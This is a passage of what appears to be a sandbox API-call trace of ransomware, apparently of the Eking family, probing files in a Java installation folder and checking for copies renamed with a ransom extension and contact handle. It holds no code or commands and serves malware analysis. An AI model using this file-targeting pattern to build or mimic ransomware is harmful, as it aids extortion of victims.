returned 0xffffffff [0233.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.725] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=142400) returned 1 [0233.725] CloseHandle (hObject=0x364) returned 1 [0233.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20 [0233.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20 [0233.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.726] SetEvent (hEvent=0x2b8) returned 1 [0233.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.727] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=187392) returned 1 [0233.727] CloseHandle (hObject=0x364) returned 1 [0233.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20 [0233.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20 [0233.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.728] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=80448) returned 1 [0233.728] CloseHandle (hObject=0x364) returned 1 [0233.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20 [0233.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20 [0233.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.731] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69184) returned 1 [0233.731] CloseHandle (hObject=0x364) returned 1 [0233.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20 [0233.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20 [0233.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.732] SetEvent (hEvent=0x2b8) returned 1 [0233.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.732] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=538176) returned 1 [0233.732] CloseHandle (hObject=0x364) returned 1 [0233.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20 [0233.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20 [0233.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.734] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=128064) returned 1 [0233.734] CloseHandle (hObject=0x364) returned 1 [0233.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20 [0233.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20 [0233.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.735] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=206912) returned 1 [0233.735] CloseHandle (hObject=0x364) returned 1 [0233.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20 [0233.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20 [0233.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.258] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=319552) returned 1 [0234.258] CloseHandle (hObject=0x348) returned 1 [0234.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20 [0234.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20 [0234.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.259] SetEvent (hEvent=0x2b8) returned 1 [0234.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.261] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=233536) returned 1 [0234.262] CloseHandle (hObject=0x348) returned 1 [0234.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20 [0234.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20 [0234.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.262] SetEvent (hEvent=0x2b8) returned 1 [0234.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.263] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=36928) returned 1 [0234.263] CloseHandle (hObject=0x348) returned 1 [0234.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0234.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0234.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.266] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=653888) returned 1 [0234.266] CloseHandle (hObject=0x348) returned 1 [0234.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20 [0234.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20 [0234.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.266] SetEvent (hEvent=0x2b8) returned 1 [0234.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.267] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=660128) returned 1 [0234.267] CloseHandle (hObject=0x348) returned 1 [0234.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20 [0234.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20 [0234.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.268] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=829264) returned 1 [0234.268] CloseHandle (hObject=0x348) returned 1 [0234.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0234.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0234.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.270] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=963232) returned 1 [0234.270] CloseHandle (hObject=0x348) returned 1 [0234.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20 [0234.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20 [0234.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.272] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=96832) returned 1 [0234.272] CloseHandle (hObject=0x348) returned 1 [0234.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20 [0234.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20 [0234.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.273] SetEvent (hEvent=0x2b8) returned 1 [0234.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.274] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=60480) returned 1 [0234.274] CloseHandle (hObject=0x348) returned 1 [0234.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20 [0234.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20 [0234.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.275] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19008) returned 1 [0234.275] CloseHandle (hObject=0x348) returned 1 [0234.275] GetFileAttributesW 